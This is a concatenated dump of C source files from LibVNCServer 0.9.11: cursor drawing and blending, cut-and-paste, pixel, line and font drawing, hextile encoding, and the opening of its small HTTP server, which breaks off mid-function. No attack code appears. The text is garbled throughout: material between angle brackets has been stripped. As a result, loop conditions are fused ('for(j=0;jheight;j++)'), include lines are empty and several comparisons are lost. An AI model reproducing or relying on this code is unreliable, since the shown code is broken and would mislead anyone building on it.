(db) fprintf(stderr, "\n"); } } void rfbMakeRichCursorFromXCursor(rfbScreenInfoPtr rfbScreen,rfbCursorPtr cursor) { rfbPixelFormat* format=&rfbScreen->serverFormat; int i,j,w=(cursor->width+7)/8,bpp=format->bitsPerPixel/8; uint32_t background,foreground; char *back=(char*)&background,*fore=(char*)&foreground; unsigned char *cp; unsigned char bit; if(cursor->richSource && cursor->cleanupRichSource) free(cursor->richSource); cp=cursor->richSource=(unsigned char*)calloc(cursor->width*bpp,cursor->height); cursor->cleanupRichSource=TRUE; if(format->bigEndian) { back+=4-bpp; fore+=4-bpp; } background=cursor->backRed<redShift| cursor->backGreen<greenShift|cursor->backBlue<blueShift; foreground=cursor->foreRed<redShift| cursor->foreGreen<greenShift|cursor->foreBlue<blueShift; for(j=0;jheight;j++) for(i=0,bit=0x80;iwidth;i++,bit=(bit&1)?0x80:bit>>1,cp+=bpp) if(cursor->source[j*w+i/8]&bit) memcpy(cp,fore,bpp); else memcpy(cp,back,bpp); } /* functions to draw/hide cursor directly in the frame buffer */ void rfbHideCursor(rfbClientPtr cl) { rfbScreenInfoPtr s=cl->screen; rfbCursorPtr c=s->cursor; int j,x1,x2,y1,y2,bpp=s->serverFormat.bitsPerPixel/8, rowstride=s->paddedWidthInBytes; LOCK(s->cursorMutex); if(!c) { UNLOCK(s->cursorMutex); return; } /* restore what is under the cursor */ x1=cl->cursorX-c->xhot; x2=x1+c->width; if(x1<0) x1=0; if(x2>=s->width) x2=s->width-1; x2-=x1; if(x2<=0) { UNLOCK(s->cursorMutex); return; } y1=cl->cursorY-c->yhot; y2=y1+c->height; if(y1<0) y1=0; if(y2>=s->height) y2=s->height-1; y2-=y1; if(y2<=0) { UNLOCK(s->cursorMutex); return; } /* get saved data */ for(j=0;jframeBuffer+(y1+j)*rowstride+x1*bpp, s->underCursorBuffer+j*x2*bpp, x2*bpp); /* Copy to all scaled versions */ rfbScaledScreenUpdate(s, x1, y1, x1+x2, y1+y2); UNLOCK(s->cursorMutex); } void rfbShowCursor(rfbClientPtr cl) { rfbScreenInfoPtr s=cl->screen; rfbCursorPtr c=s->cursor; int i,j,x1,x2,y1,y2,i1,j1,bpp=s->serverFormat.bitsPerPixel/8, rowstride=s->paddedWidthInBytes, bufSize,w; rfbBool wasChanged=FALSE; if(!c) return; LOCK(s->cursorMutex); bufSize=c->width*c->height*bpp; w=(c->width+7)/8; if(s->underCursorBufferLenunderCursorBuffer!=NULL) free(s->underCursorBuffer); s->underCursorBuffer=malloc(bufSize); s->underCursorBufferLen=bufSize; } /* save what is under the cursor */ i1=j1=0; /* offset in cursor */ x1=cl->cursorX-c->xhot; x2=x1+c->width; if(x1<0) { i1=-x1; x1=0; } if(x2>=s->width) x2=s->width-1; x2-=x1; if(x2<=0) { UNLOCK(s->cursorMutex); return; /* nothing to do */ } y1=cl->cursorY-c->yhot; y2=y1+c->height; if(y1<0) { j1=-y1; y1=0; } if(y2>=s->height) y2=s->height-1; y2-=y1; if(y2<=0) { UNLOCK(s->cursorMutex); return; /* nothing to do */ } /* save data */ for(j=0;junderCursorBuffer+j*x2*bpp; const char* src=s->frameBuffer+(y1+j)*rowstride+x1*bpp; unsigned int count=x2*bpp; if(wasChanged || memcmp(dest,src,count)) { wasChanged=TRUE; memcpy(dest,src,count); } } if(!c->richSource) rfbMakeRichCursorFromXCursor(s,c); if (c->alphaSource) { int rmax, rshift; int gmax, gshift; int bmax, bshift; int amax = 255; /* alphaSource is always 8bits of info per pixel */ unsigned int rmask, gmask, bmask; rmax = s->serverFormat.redMax; gmax = s->serverFormat.greenMax; bmax = s->serverFormat.blueMax; rshift = s->serverFormat.redShift; gshift = s->serverFormat.greenShift; bshift = s->serverFormat.blueShift; rmask = (rmax << rshift); gmask = (gmax << gshift); bmask = (bmax << bshift); for(j=0;jmask[], * using the extracted alpha value instead. */ char *dest; unsigned char *src, *aptr; unsigned int val, dval, sval; int rdst, gdst, bdst; /* fb RGB */ int asrc, rsrc, gsrc, bsrc; /* rich source ARGB */ dest = s->frameBuffer + (j+y1)*rowstride + (i+x1)*bpp; src = c->richSource + (j+j1)*c->width*bpp + (i+i1)*bpp; aptr = c->alphaSource + (j+j1)*c->width + (i+i1); asrc = *aptr; if (!asrc) { continue; } if (bpp == 1) { dval = *((unsigned char*) dest); sval = *((unsigned char*) src); } else if (bpp == 2) { dval = *((unsigned short*) dest); sval = *((unsigned short*) src); } else if (bpp == 3) { unsigned char *dst = (unsigned char *) dest; dval = 0; dval |= ((*(dst+0)) << 0); dval |= ((*(dst+1)) << 8); dval |= ((*(dst+2)) << 16); sval = 0; sval |= ((*(src+0)) << 0); sval |= ((*(src+1)) << 8); sval |= ((*(src+2)) << 16); } else if (bpp == 4) { dval = *((unsigned int*) dest); sval = *((unsigned int*) src); } else { continue; } /* extract dest and src RGB */ rdst = (dval & rmask) >> rshift; /* fb */ gdst = (dval & gmask) >> gshift; bdst = (dval & bmask) >> bshift; rsrc = (sval & rmask) >> rshift; /* richcursor */ gsrc = (sval & gmask) >> gshift; bsrc = (sval & bmask) >> bshift; /* blend in fb data. */ if (! c->alphaPreMultiplied) { rsrc = (asrc * rsrc)/amax; gsrc = (asrc * gsrc)/amax; bsrc = (asrc * bsrc)/amax; } rdst = rsrc + ((amax - asrc) * rdst)/amax; gdst = gsrc + ((amax - asrc) * gdst)/amax; bdst = bsrc + ((amax - asrc) * bdst)/amax; val = 0; val |= (rdst << rshift); val |= (gdst << gshift); val |= (bdst << bshift); /* insert the cooked pixel into the fb */ memcpy(dest, &val, bpp); } } } else { /* now the cursor has to be drawn */ for(j=0;jmask[(j+j1)*w+(i+i1)/8]<<((i+i1)&7))&0x80) memcpy(s->frameBuffer+(j+y1)*rowstride+(i+x1)*bpp, c->richSource+(j+j1)*c->width*bpp+(i+i1)*bpp,bpp); } /* Copy to all scaled versions */ rfbScaledScreenUpdate(s, x1, y1, x1+x2, y1+y2); UNLOCK(s->cursorMutex); } /* * If enableCursorShapeUpdates is FALSE, and the cursor is hidden, make sure * that if the frameBuffer was transmitted with a cursor drawn, then that * region gets redrawn. */ void rfbRedrawAfterHideCursor(rfbClientPtr cl,sraRegionPtr updateRegion) { rfbScreenInfoPtr s = cl->screen; rfbCursorPtr c = s->cursor; if(c) { int x,y,x2,y2; x = cl->cursorX-c->xhot; y = cl->cursorY-c->yhot; x2 = x+c->width; y2 = y+c->height; if(sraClipRect2(&x,&y,&x2,&y2,0,0,s->width,s->height)) { sraRegionPtr rect; rect = sraRgnCreateRect(x,y,x2,y2); if(updateRegion) { sraRgnOr(updateRegion,rect); } else { LOCK(cl->updateMutex); sraRgnOr(cl->modifiedRegion,rect); UNLOCK(cl->updateMutex); } sraRgnDestroy(rect); } } } #ifdef DEBUG static void rfbPrintXCursor(rfbCursorPtr cursor) { int i,i1,j,w=(cursor->width+7)/8; unsigned char bit; for(j=0;jheight;j++) { for(i=0,i1=0,bit=0x80;i1width;i1++,i+=(bit&1)?1:0,bit=(bit&1)?0x80:bit>>1) if(cursor->source[j*w+i]&bit) putchar('#'); else putchar(' '); putchar(':'); for(i=0,i1=0,bit=0x80;i1width;i1++,i+=(bit&1)?1:0,bit=(bit&1)?0x80:bit>>1) if(cursor->mask[j*w+i]&bit) putchar('#'); else putchar(' '); putchar('\n'); } } #endif void rfbSetCursor(rfbScreenInfoPtr rfbScreen,rfbCursorPtr c) { rfbClientIteratorPtr iterator; rfbClientPtr cl; LOCK(rfbScreen->cursorMutex); if(rfbScreen->cursor) { iterator=rfbGetClientIterator(rfbScreen); while((cl=rfbClientIteratorNext(iterator))) if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); rfbReleaseClientIterator(iterator); if(rfbScreen->cursor->cleanup) rfbFreeCursor(rfbScreen->cursor); } rfbScreen->cursor = c; iterator=rfbGetClientIterator(rfbScreen); while((cl=rfbClientIteratorNext(iterator))) { cl->cursorWasChanged = TRUE; if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); } rfbReleaseClientIterator(iterator); UNLOCK(rfbScreen->cursorMutex); } libvncserver-LibVNCServer-0.9.11/libvncserver/cutpaste.c000066400000000000000000000025211303145525000232460ustar00rootroot00000000000000/* * cutpaste.c - routines to deal with cut & paste buffers / selection. */ /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include /* * rfbSetXCutText sets the cut buffer to be the given string. We also clear * the primary selection. Ideally we'd like to set it to the same thing, but I * can't work out how to do that without some kind of helper X client. */ void rfbGotXCutText(rfbScreenInfoPtr rfbScreen, char *str, int len) { rfbSendServerCutText(rfbScreen, str, len); } libvncserver-LibVNCServer-0.9.11/libvncserver/draw.c000066400000000000000000000030451303145525000223550ustar00rootroot00000000000000#include void rfbFillRect(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2,rfbPixel col) { int rowstride = s->paddedWidthInBytes, bpp = s->bitsPerPixel>>3; int i,j; char* colour=(char*)&col; if(!rfbEndianTest) colour += 4-bpp; for(j=y1;jframeBuffer+j*rowstride+i*bpp,colour,bpp); rfbMarkRectAsModified(s,x1,y1,x2,y2); } #define SETPIXEL(x,y) \ memcpy(s->frameBuffer+(y)*rowstride+(x)*bpp,colour,bpp) void rfbDrawPixel(rfbScreenInfoPtr s,int x,int y,rfbPixel col) { int rowstride = s->paddedWidthInBytes, bpp = s->bitsPerPixel>>3; char* colour=(char*)&col; if(!rfbEndianTest) colour += 4-bpp; SETPIXEL(x,y); rfbMarkRectAsModified(s,x,y,x+1,y+1); } void rfbDrawLine(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2,rfbPixel col) { int rowstride = s->paddedWidthInBytes, bpp = s->bitsPerPixel>>3; int i; char* colour=(char*)&col; if(!rfbEndianTest) colour += 4-bpp; #define SWAPPOINTS { i=x1; x1=x2; x2=i; i=y1; y1=y2; y2=i; } if(abs(x1-x2)y2) SWAPPOINTS for(i=y1;i<=y2;i++) SETPIXEL(x1+(i-y1)*(x2-x1)/(y2-y1),i); /* TODO: Maybe make this more intelligently? */ if(x2x2) SWAPPOINTS else if(x1==x2) { rfbDrawPixel(s,x1,y1,col); return; } for(i=x1;i<=x2;i++) SETPIXEL(i,y1+(i-x1)*(y2-y1)/(x2-x1)); if(y2 int rfbDrawChar(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font, int x,int y,unsigned char c,rfbPixel col) { int i,j,width,height; unsigned char* data=font->data+font->metaData[c*5]; unsigned char d=*data; int rowstride=rfbScreen->paddedWidthInBytes; int bpp=rfbScreen->serverFormat.bitsPerPixel/8; char *colour=(char*)&col; if(!rfbEndianTest) colour += 4-bpp; width=font->metaData[c*5+1]; height=font->metaData[c*5+2]; x+=font->metaData[c*5+3]; y+=-font->metaData[c*5+4]-height+1; for(j=0;j= 0 && y+j < rfbScreen->height && x+i >= 0 && x+i < rfbScreen->width) memcpy(rfbScreen->frameBuffer+(y+j)*rowstride+(x+i)*bpp,colour,bpp); d<<=1; } /* if((i&7)!=0) data++; */ } return(width); } void rfbDrawString(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font, int x,int y,const char* string,rfbPixel colour) { while(*string) { x+=rfbDrawChar(rfbScreen,font,x,y,*string,colour); string++; } } /* TODO: these two functions need to be more efficient */ /* if col==bcol, assume transparent background */ int rfbDrawCharWithClip(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font, int x,int y,unsigned char c, int x1,int y1,int x2,int y2, rfbPixel col,rfbPixel bcol) { int i,j,width,height; unsigned char* data=font->data+font->metaData[c*5]; unsigned char d; int rowstride=rfbScreen->paddedWidthInBytes; int bpp=rfbScreen->serverFormat.bitsPerPixel/8,extra_bytes=0; char* colour=(char*)&col; char* bcolour=(char*)&bcol; if(!rfbEndianTest) { colour+=4-bpp; bcolour+=4-bpp; } width=font->metaData[c*5+1]; height=font->metaData[c*5+2]; x+=font->metaData[c*5+3]; y+=-font->metaData[c*5+4]-height+1; /* after clipping, x2 will be count of bytes between rows, * x1 start of i, y1 start of j, width and height will be adjusted. */ if(y1>y) { y1-=y; data+=(width+7)/8; height-=y1; y+=y1; } else y1=0; if(x1>x) { x1-=x; data+=x1; width-=x1; x+=x1; extra_bytes+=x1/8; } else x1=0; if(y2=x1 && x+i=y1 && y+jframeBuffer+(y+j)*rowstride+(x+i)*bpp, colour,bpp); } else if(bcol!=col) { memcpy(rfbScreen->frameBuffer+(y+j)*rowstride+(x+i)*bpp, bcolour,bpp); } } d<<=1; } /* if((i&7)==0) data++; */ data += extra_bytes; } return(width); } void rfbDrawStringWithClip(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font, int x,int y,const char* string, int x1,int y1,int x2,int y2, rfbPixel colour,rfbPixel backColour) { while(*string) { x+=rfbDrawCharWithClip(rfbScreen,font,x,y,*string,x1,y1,x2,y2, colour,backColour); string++; } } int rfbWidthOfString(rfbFontDataPtr font,const char* string) { int i=0; while(*string) { i+=font->metaData[*string*5+1]; string++; } return(i); } int rfbWidthOfChar(rfbFontDataPtr font,unsigned char c) { return(font->metaData[c*5+1]+font->metaData[c*5+3]); } void rfbFontBBox(rfbFontDataPtr font,unsigned char c,int* x1,int* y1,int* x2,int* y2) { *x1+=font->metaData[c*5+3]; *y1+=-font->metaData[c*5+4]-font->metaData[c*5+2]+1; *x2=*x1+font->metaData[c*5+1]+1; *y2=*y1+font->metaData[c*5+2]+1; } #ifndef INT_MAX #define INT_MAX 0x7fffffff #endif void rfbWholeFontBBox(rfbFontDataPtr font, int *x1, int *y1, int *x2, int *y2) { int i; int* m=font->metaData; (*x1)=(*y1)=INT_MAX; (*x2)=(*y2)=1-(INT_MAX); for(i=0;i<256;i++) { if(m[i*5+1]-m[i*5+3]>(*x2)) (*x2)=m[i*5+1]-m[i*5+3]; if(-m[i*5+2]+m[i*5+4]<(*y1)) (*y1)=-m[i*5+2]+m[i*5+4]; if(m[i*5+3]<(*x1)) (*x1)=m[i*5+3]; if(-m[i*5+4]>(*y2)) (*y2)=-m[i*5+4]; } (*x2)++; (*y2)++; } rfbFontDataPtr rfbLoadConsoleFont(char *filename) { FILE *f=fopen(filename,"rb"); rfbFontDataPtr p; int i; if(!f) return NULL; p=(rfbFontDataPtr)malloc(sizeof(rfbFontData)); p->data=(unsigned char*)malloc(4096); if(1!=fread(p->data,4096,1,f)) { free(p->data); free(p); return NULL; } fclose(f); p->metaData=(int*)malloc(256*5*sizeof(int)); for(i=0;i<256;i++) { p->metaData[i*5+0]=i*16; /* offset */ p->metaData[i*5+1]=8; /* width */ p->metaData[i*5+2]=16; /* height */ p->metaData[i*5+3]=0; /* xhot */ p->metaData[i*5+4]=0; /* yhot */ } return(p); } void rfbFreeFont(rfbFontDataPtr f) { free(f->data); free(f->metaData); free(f); } libvncserver-LibVNCServer-0.9.11/libvncserver/hextile.c000066400000000000000000000554401303145525000230700ustar00rootroot00000000000000/* * hextile.c * * Routines to implement Hextile Encoding */ /* * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include static rfbBool sendHextiles8(rfbClientPtr cl, int x, int y, int w, int h); static rfbBool sendHextiles16(rfbClientPtr cl, int x, int y, int w, int h); static rfbBool sendHextiles32(rfbClientPtr cl, int x, int y, int w, int h); /* * rfbSendRectEncodingHextile - send a rectangle using hextile encoding. */ rfbBool rfbSendRectEncodingHextile(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingHextile); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingHextile, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader + w * (cl->format.bitsPerPixel / 8) * h); switch (cl->format.bitsPerPixel) { case 8: return sendHextiles8(cl, x, y, w, h); case 16: return sendHextiles16(cl, x, y, w, h); case 32: return sendHextiles32(cl, x, y, w, h); } rfbLog("rfbSendRectEncodingHextile: bpp %d?\n", cl->format.bitsPerPixel); return FALSE; } #define PUT_PIXEL8(pix) (cl->updateBuf[cl->ublen++] = (pix)) #define PUT_PIXEL16(pix) (cl->updateBuf[cl->ublen++] = ((char*)&(pix))[0], \ cl->updateBuf[cl->ublen++] = ((char*)&(pix))[1]) #define PUT_PIXEL32(pix) (cl->updateBuf[cl->ublen++] = ((char*)&(pix))[0], \ cl->updateBuf[cl->ublen++] = ((char*)&(pix))[1], \ cl->updateBuf[cl->ublen++] = ((char*)&(pix))[2], \ cl->updateBuf[cl->ublen++] = ((char*)&(pix))[3]) #define DEFINE_SEND_HEXTILES(bpp) \ \ \ static rfbBool subrectEncode##bpp(rfbClientPtr cli, uint##bpp##_t *data, \ int w, int h, uint##bpp##_t bg, uint##bpp##_t fg, rfbBool mono);\ static void testColours##bpp(uint##bpp##_t *data, int size, rfbBool *mono, \ rfbBool *solid, uint##bpp##_t *bg, uint##bpp##_t *fg); \ \ \ /* \ * rfbSendHextiles \ */ \ \ static rfbBool \ sendHextiles##bpp(rfbClientPtr cl, int rx, int ry, int rw, int rh) { \ int x, y, w, h; \ int startUblen; \ char *fbptr; \ uint##bpp##_t bg = 0, fg = 0, newBg, newFg; \ rfbBool mono, solid; \ rfbBool validBg = FALSE; \ rfbBool validFg = FALSE; \ uint##bpp##_t clientPixelData[16*16*(bpp/8)]; \ \ for (y = ry; y < ry+rh; y += 16) { \ for (x = rx; x < rx+rw; x += 16) { \ w = h = 16; \ if (rx+rw - x < 16) \ w = rx+rw - x; \ if (ry+rh - y < 16) \ h = ry+rh - y; \ \ if ((cl->ublen + 1 + (2 + 16 * 16) * (bpp/8)) > \ UPDATE_BUF_SIZE) { \ if (!rfbSendUpdateBuf(cl)) \ return FALSE; \ } \ \ fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) \ + (x * (cl->scaledScreen->bitsPerPixel / 8))); \ \ (*cl->translateFn)(cl->translateLookupTable, &(cl->screen->serverFormat), \ &cl->format, fbptr, (char *)clientPixelData, \ cl->scaledScreen->paddedWidthInBytes, w, h); \ \ startUblen = cl->ublen; \ cl->updateBuf[startUblen] = 0; \ cl->ublen++; \ rfbStatRecordEncodingSentAdd(cl, rfbEncodingHextile, 1); \ \ testColours##bpp(clientPixelData, w * h, \ &mono, &solid, &newBg, &newFg); \ \ if (!validBg || (newBg != bg)) { \ validBg = TRUE; \ bg = newBg; \ cl->updateBuf[startUblen] |= rfbHextileBackgroundSpecified; \ PUT_PIXEL##bpp(bg); \ } \ \ if (solid) { \ continue; \ } \ \ cl->updateBuf[startUblen] |= rfbHextileAnySubrects; \ \ if (mono) { \ if (!validFg || (newFg != fg)) { \ validFg = TRUE; \ fg = newFg; \ cl->updateBuf[startUblen] |= rfbHextileForegroundSpecified; \ PUT_PIXEL##bpp(fg); \ } \ } else { \ validFg = FALSE; \ cl->updateBuf[startUblen] |= rfbHextileSubrectsColoured; \ } \ \ if (!subrectEncode##bpp(cl, clientPixelData, w, h, bg, fg, mono)) { \ /* encoding was too large, use raw */ \ validBg = FALSE; \ validFg = FALSE; \ cl->ublen = startUblen; \ cl->updateBuf[cl->ublen++] = rfbHextileRaw; \ (*cl->translateFn)(cl->translateLookupTable, \ &(cl->screen->serverFormat), &cl->format, fbptr, \ (char *)clientPixelData, \ cl->scaledScreen->paddedWidthInBytes, w, h); \ \ memcpy(&cl->updateBuf[cl->ublen], (char *)clientPixelData, \ w * h * (bpp/8)); \ \ cl->ublen += w * h * (bpp/8); \ rfbStatRecordEncodingSentAdd(cl, rfbEncodingHextile, \ w * h * (bpp/8)); \ } \ } \ } \ \ return TRUE; \ } \ \ \ static rfbBool \ subrectEncode##bpp(rfbClientPtr cl, uint##bpp##_t *data, int w, int h, \ uint##bpp##_t bg, uint##bpp##_t fg, rfbBool mono) \ { \ uint##bpp##_t cl2; \ int x,y; \ int i,j; \ int hx=0,hy,vx=0,vy; \ int hyflag; \ uint##bpp##_t *seg; \ uint##bpp##_t *line; \ int hw,hh,vw,vh; \ int thex,they,thew,theh; \ int numsubs = 0; \ int newLen; \ int nSubrectsUblen; \ \ nSubrectsUblen = cl->ublen; \ cl->ublen++; \ rfbStatRecordEncodingSentAdd(cl, rfbEncodingHextile, 1); \ \ for (y=0; y 0) && (i >= hx)) { \ hy += 1; \ } else { \ hyflag = 0; \ } \ } \ vy = j-1; \ \ /* We now have two possible subrects: (x,y,hx,hy) and \ * (x,y,vx,vy). We'll choose the bigger of the two. \ */ \ hw = hx-x+1; \ hh = hy-y+1; \ vw = vx-x+1; \ vh = vy-y+1; \ \ thex = x; \ they = y; \ \ if ((hw*hh) > (vw*vh)) { \ thew = hw; \ theh = hh; \ } else { \ thew = vw; \ theh = vh; \ } \ \ if (mono) { \ newLen = cl->ublen - nSubrectsUblen + 2; \ } else { \ newLen = cl->ublen - nSubrectsUblen + bpp/8 + 2; \ } \ \ if (newLen > (w * h * (bpp/8))) \ return FALSE; \ \ numsubs += 1; \ \ if (!mono) PUT_PIXEL##bpp(cl2); \ \ cl->updateBuf[cl->ublen++] = rfbHextilePackXY(thex,they); \ cl->updateBuf[cl->ublen++] = rfbHextilePackWH(thew,theh); \ rfbStatRecordEncodingSentAdd(cl, rfbEncodingHextile, 1); \ \ /* \ * Now mark the subrect as done. \ */ \ for (j=they; j < (they+theh); j++) { \ for (i=thex; i < (thex+thew); i++) { \ data[j*w+i] = bg; \ } \ } \ } \ } \ } \ \ cl->updateBuf[nSubrectsUblen] = numsubs; \ \ return TRUE; \ } \ \ \ /* \ * testColours() tests if there are one (solid), two (mono) or more \ * colours in a tile and gets a reasonable guess at the best background \ * pixel, and the foreground pixel for mono. \ */ \ \ static void \ testColours##bpp(uint##bpp##_t *data, int size, rfbBool *mono, rfbBool *solid, \ uint##bpp##_t *bg, uint##bpp##_t *fg) { \ uint##bpp##_t colour1 = 0, colour2 = 0; \ int n1 = 0, n2 = 0; \ *mono = TRUE; \ *solid = TRUE; \ \ for (; size > 0; size--, data++) { \ \ if (n1 == 0) \ colour1 = *data; \ \ if (*data == colour1) { \ n1++; \ continue; \ } \ \ if (n2 == 0) { \ *solid = FALSE; \ colour2 = *data; \ } \ \ if (*data == colour2) { \ n2++; \ continue; \ } \ \ *mono = FALSE; \ break; \ } \ \ if (n1 > n2) { \ *bg = colour1; \ *fg = colour2; \ } else { \ *bg = colour2; \ *fg = colour1; \ } \ } DEFINE_SEND_HEXTILES(8) DEFINE_SEND_HEXTILES(16) DEFINE_SEND_HEXTILES(32) libvncserver-LibVNCServer-0.9.11/libvncserver/httpd.c000066400000000000000000000416371303145525000225540ustar00rootroot00000000000000/* * httpd.c - a simple HTTP server */ /* * Copyright (C) 2011-2012 Christian Beier * Copyright (C) 2002 RealVNC Ltd. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #endif #include #include #ifdef LIBVNCSERVER_HAVE_UNISTD_H #include #endif #ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H #include #endif #ifdef LIBVNCSERVER_HAVE_FCNTL_H #include #endif #include #ifdef WIN32 #include #include #include #define close closesocket #if defined(_MSC_VER) #include /* For the missing ssize_t */ #define ssize_t SSIZE_T #define read _read /* Prevent POSIX deprecation warnings */ #endif #else #ifdef LIBVNCSERVER_HAVE_SYS_TIME_H #include #endif #ifdef LIBVNCSERVER_HAVE_SYS_SOCKET_H #include #endif #ifdef LIBVNCSERVER_HAVE_NETINET_IN_H #include #include #include #include #endif #include #endif #ifdef USE_LIBWRAP #include #endif #define NOT_FOUND_STR "HTTP/1.0 404 Not found\r\nConnection: close\r\n\r\n" \ "File Not Found\n" \ "

File Not Found

\n" #define INVALID_REQUEST_STR "HTTP/1.0 400 Invalid Request\r\nConnection: close\r\n\r\n" \ "Invalid Request\n" \ "

Invalid request

\n" #define OK_STR "HTTP/1.0 200 OK\r\nConnection: close\r\n" static void httpProcessInput(rfbScreenInfoPtr screen); static rfbBool compareAndSkip(char **ptr, const char *str); static rfbBool parseParams(const char *request, char *result, int max_bytes); static rfbBool validateString(char *str); #define BUF_SIZE 32768 static char buf[BUF_SIZE]; static size_t buf_filled=0; /* * httpInitSockets sets up the TCP socket to listen for HTTP connections. */ void rfbHttpInitSockets(rfbScreenInfoPtr rfbScreen) { if (rfbScreen->httpInitDone) return; rfbScreen->httpInitDone = TRUE; if (!rfbScreen->httpDir) return; if (rfbScreen->httpPort == 0) { rfbScreen->httpPort = rfbScreen->port-100; } if ((rfbScreen->httpListenSock = rfbListenOnTCPPort(rfbScreen->httpPort, rfbScreen->listenInterface)) < 0) { rfbLogPerror("ListenOnTCPPort"); return; } rfbLog("Listening for HTTP connections on TCP port %d\n", rfbScreen->httpPort); rfbLog(" URL http://%s:%d\n",rfbScreen->thisHost,rfbScreen->httpPort); #ifdef LIBVNCSERVER_IPv6 if (rfbScreen->http6Port == 0) { rfbScreen->http6Port = rfbScreen->ipv6port-100; } if ((rfbScreen->httpListen6Sock = rfbListenOnTCP6Port(rfbScreen->http6Port, rfbScreen->listen6Interface)) < 0) { /* ListenOnTCP6Port has its own detailed error printout */ return; } rfbLog("Listening for HTTP connections on TCP6 port %d\n", rfbScreen->http6Port); rfbLog(" URL http://%s:%d\n",rfbScreen->thisHost,rfbScreen->http6Port); #endif } void rfbHttpShutdownSockets(rfbScreenInfoPtr rfbScreen) { if(rfbScreen->httpSock>-1) { close(rfbScreen->httpSock); FD_CLR(rfbScreen->httpSock,&rfbScreen->allFds); rfbScreen->httpSock=-1; } if(rfbScreen->httpListenSock>-1) { close(rfbScreen->httpListenSock); FD_CLR(rfbScreen->httpListenSock,&rfbScreen->allFds); rfbScreen->httpListenSock=-1; } if(rfbScreen->httpListen6Sock>-1) { close(rfbScreen->httpListen6Sock); FD_CLR(rfbScreen->httpListen6Sock,&rfbScreen->allFds); rfbScreen->httpListen6Sock=-1; } } /* * httpCheckFds is called from ProcessInputEvents to check for input on the * HTTP socket(s). If there is input to process, httpProcessInput is called. */ void rfbHttpCheckFds(rfbScreenInfoPtr rfbScreen) { int nfds; fd_set fds; struct timeval tv; #ifdef LIBVNCSERVER_IPv6 struct sockaddr_storage addr; #else struct sockaddr_in addr; #endif socklen_t addrlen = sizeof(addr); if (!rfbScreen->httpDir) return; if (rfbScreen->httpListenSock < 0) return; FD_ZERO(&fds); FD_SET(rfbScreen->httpListenSock, &fds); if (rfbScreen->httpListen6Sock >= 0) { FD_SET(rfbScreen->httpListen6Sock, &fds); } if (rfbScreen->httpSock >= 0) { FD_SET(rfbScreen->httpSock, &fds); } tv.tv_sec = 0; tv.tv_usec = 0; nfds = select(rfbMax(rfbScreen->httpListen6Sock, rfbMax(rfbScreen->httpSock,rfbScreen->httpListenSock)) + 1, &fds, NULL, NULL, &tv); if (nfds == 0) { return; } if (nfds < 0) { #ifdef WIN32 errno = WSAGetLastError(); #endif if (errno != EINTR) rfbLogPerror("httpCheckFds: select"); return; } if ((rfbScreen->httpSock >= 0) && FD_ISSET(rfbScreen->httpSock, &fds)) { httpProcessInput(rfbScreen); } if (FD_ISSET(rfbScreen->httpListenSock, &fds) || FD_ISSET(rfbScreen->httpListen6Sock, &fds)) { if (rfbScreen->httpSock >= 0) close(rfbScreen->httpSock); if(FD_ISSET(rfbScreen->httpListenSock, &fds)) { if ((rfbScreen->httpSock = accept(rfbScreen->httpListenSock, (struct sockaddr *)&addr, &addrlen)) < 0) { rfbLogPerror("httpCheckFds: accept"); return; } } else if(FD_ISSET(rfbScreen->httpListen6Sock, &fds)) { if ((rfbScreen->httpSock = accept(rfbScreen->httpListen6Sock, (struct sockaddr *)&addr, &addrlen)) < 0) { rfbLogPerror("httpCheckFds: accept"); return; } } #ifdef USE_LIBWRAP 